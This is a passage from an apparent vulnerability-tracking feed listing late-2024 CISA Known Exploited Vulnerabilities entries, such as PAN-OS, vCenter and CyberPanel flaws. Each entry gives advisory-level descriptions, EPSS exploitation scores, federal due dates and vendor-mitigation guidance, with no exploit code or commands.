CISA KEV entry CVE-2024-50623: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25
CISA added this entry on 2024-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2024; federal due date Jan 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2024-49138
Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability (Dec 10, 2024).
Microsoft Windows Common Log File System (CLFS) driver contains a heap-based buffer overflow vulnerability that allows a local attacker to escalate privileges.
EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-49138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25
CISA added this entry on 2024-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 10, 2024; federal due date Dec 31, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CyberPanel Incorrect Default Permissions Vulnerability
https://kevwire.com/record/CVE-2024-51378
CyberPanel Incorrect Default Permissions Vulnerability (Dec 4, 2024).
CyberPanel contains an incorrect default permissions vulnerability that allows for authentication bypass and the execution of arbitrary commands using shell metacharacters in the statusfile property.
EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-51378: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25
CISA added this entry on 2024-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 4, 2024; federal due date Dec 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple Firewalls Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-11667
Zyxel Multiple Firewalls Path Traversal Vulnerability (Dec 3, 2024).
Multiple Zyxel firewalls contain a path traversal vulnerability in the web management interface that could allow an attacker to download or upload files via a crafted URL.
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-11667: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25
CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ProjectSend Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2024-11680
ProjectSend Improper Authentication Vulnerability (Dec 3, 2024).
ProjectSend contains an improper authentication vulnerability that allows a remote, unauthenticated attacker to enable unauthorized modification of the application's configuration via crafted HTTP requests to options.php. Successful exploitation allows attackers to create accounts, upload webshells, and embed malicious JavaScript.
EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-11680: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25
CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### North Grid Proself Improper Restriction of XML External Entity (XXE) Reference Vulnerability
https://kevwire.com/record/CVE-2023-45727
North Grid Proself Improper Restriction of XML External Entity (XXE) Reference Vulnerability (Dec 3, 2024).
North Grid Proself Enterprise/Standard, Gateway, and Mail Sanitize contain an improper restriction of XML External Entity (XXE) reference vulnerability, which could allow a remote, unauthenticated attacker to conduct an XXE attack.
EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-45727: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25
CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Array Networks AG and vxAG ArrayOS Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2023-28461
Array Networks AG and vxAG ArrayOS Missing Authentication for Critical Function Vulnerability (Nov 25, 2024).
Array Networks AG and vxAG ArrayOS contain a missing authentication for critical function vulnerability that allows an attacker to read local files and execute code on the SSL VPN gateway.
EPSS 68.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25
CISA added this entry on 2024-11-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 25, 2024; federal due date Dec 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Agile Product Lifecycle Management (PLM) Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2024-21287
Oracle Agile Product Lifecycle Management (PLM) Incorrect Authorization Vulnerability (Nov 21, 2024).
Oracle Agile Product Lifecycle Management (PLM) contains an incorrect authorization vulnerability in the Process Extension component of the Software Development Kit. Successful exploitation of this vulnerability may result in unauthenticated file disclosure.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25
CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2024-44309
Apple Multiple Products Cross-Site Scripting (XSS) Vulnerability (Nov 21, 2024).
Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to a cross-site scripting (XSS) attack.
EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-44309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25
CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Code Execution Vulnerability
https://kevwire.com/record/CVE-2024-44308
Apple Multiple Products Code Execution Vulnerability (Nov 21, 2024).
Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to arbitrary code execution.
EPSS 10.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-44308: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25
CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-38813
VMware vCenter Server Privilege Escalation Vulnerability (Nov 20, 2024).
VMware vCenter contains an improper check for dropped privileges vulnerability. This vulnerability could allow an attacker with network access to the vCenter Server to escalate privileges to root by sending a specially crafted packet.
EPSS 17.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25
CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 20, 2024; federal due date Dec 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2024-38812
VMware vCenter Server Heap-Based Buffer Overflow Vulnerability (Nov 20, 2024).
VMware vCenter Server contains a heap-based buffer overflow vulnerability in the implementation of the DCERPC protocol. This vulnerability could allow an attacker with network access to the vCenter Server to execute remote code by sending a specially crafted packet.
EPSS 54.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25
CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 20, 2024; federal due date Dec 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-9474
Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability (Nov 18, 2024).
Palo Alto Networks PAN-OS contains an OS command injection vulnerability that allows for privilege escalation through the web-based management interface for several PAN products, including firewalls and VPN concentrators.
EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9474: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25
CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, the management interfaces for affected devices should not be exposed to untrusted networks, including the internet.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-0012
Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability (Nov 18, 2024).
Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in the web-based management interface for several PAN-OS products, including firewalls and VPN concentrators.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-0012: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25
CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, management interface for affected devices should not be exposed to untrusted networks, including the internet.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress Kemp LoadMaster OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-1212
Progress Kemp LoadMaster OS Command Injection Vulnerability (Nov 18, 2024).
Progress Kemp LoadMaster contains an OS command injection vulnerability that allows an unauthenticated, remote attacker to access the system through the LoadMaster management interface, enabling arbitrary system command execution.
EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-1212: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25
CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 18, 2024; federal due date Dec 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks Expedition SQL Injection Vulnerability
https://kevwire.com/record/CVE-2024-9465
Palo Alto Networks Expedition SQL Injection Vulnerability (Nov 14, 2024).
Palo Alto Networks Expedition contains a SQL injection vulnerability that allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9465: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25
CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2024; federal due date Dec 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks Expedition OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-9463
Palo Alto Networks Expedition OS Command Injection Vulnerability (Nov 14, 2024).
Palo Alto Networks Expedition contains an OS command injection vulnerability that allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25
CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2024; federal due date Dec 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Jira Server and Data Center Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-26086
Atlassian Jira Server and Data Center Path Traversal Vulnerability (Nov 12, 2024).
Atlassian Jira Server and Data Center contain a path traversal vulnerability that allows a remote attacker to read particular files in the /WEB-INF/web.xml endpoint.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25
CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Adaptive Security Appliance (ASA) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2014-2120
Cisco Adaptive Security Appliance (ASA) Cross-Site Scripting (XSS) Vulnerability (Nov 12, 2024).
Cisco Adaptive Security Appliance (ASA) contains a cross-site scripting (XSS) vulnerability in the WebVPN login page. This vulnerability allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter.
EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-2120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25
CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Metabase GeoJSON API Local File Inclusion Vulnerability
https://kevwire.com/record/CVE-2021-41277
Metabase GeoJSON API Local File Inclusion Vulnerability (Nov 12, 2024).
Metabase contains a local file inclusion vulnerability in the custom map support in the API to read GeoJSON formatted data.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-41277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25
CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTLMv2 Hash Disclosure Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-43451
Microsoft Windows NTLMv2 Hash Disclosure Spoofing Vulnerability (Nov 12, 2024).
Microsoft Windows contains an NTLMv2 hash spoofing vulnerability that could result in disclosing a user's NTLMv2 hash to an attacker via a file open operation. The attacker could then leverage this hash to impersonate that user.
EPSS 84.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43451: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25
CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Task Scheduler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-49039
Microsoft Windows Task Scheduler Privilege Escalation Vulnerability (Nov 12, 2024).
Microsoft Windows Task Scheduler contains a privilege escalation vulnerability that can allow an attacker-provided, local application to escalate privileges outside of its AppContainer, and access privileged RPC functions.
EPSS 14.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-49039: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25
CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2024; federal due date Dec 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nostromo nhttpd Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2019-16278
Nostromo nhttpd Directory Traversal Vulnerability (Nov 7, 2024).
Nostromo nhttpd contains a directory traversal vulnerability in the http_verify() function in a non-chrooted nhttpd server allowing for remote code execution.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25
CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CyberPanel Incorrect Default Permissions Vulnerability
https://kevwire.com/record/CVE-2024-51567
CyberPanel Incorrect Default Permissions Vulnerability (Nov 7, 2024).
CyberPanel contains an incorrect default permissions vulnerability that allows a remote, unauthenticated attacker to execute commands as root.
EPSS 84.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-51567: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25
CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-43093
Android Framework Privilege Escalation Vulnerability (Nov 7, 2024).
Android Framework contains an unspecified vulnerability that allows for privilege escalation.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43093: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25
CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks Expedition Missing Authentication Vulnerability
https://kevwire.com/record/CVE-2024-5910
Palo Alto Networks Expedition Missing Authentication Vulnerability (Nov 7, 2024).
Palo Alto Networks Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data.
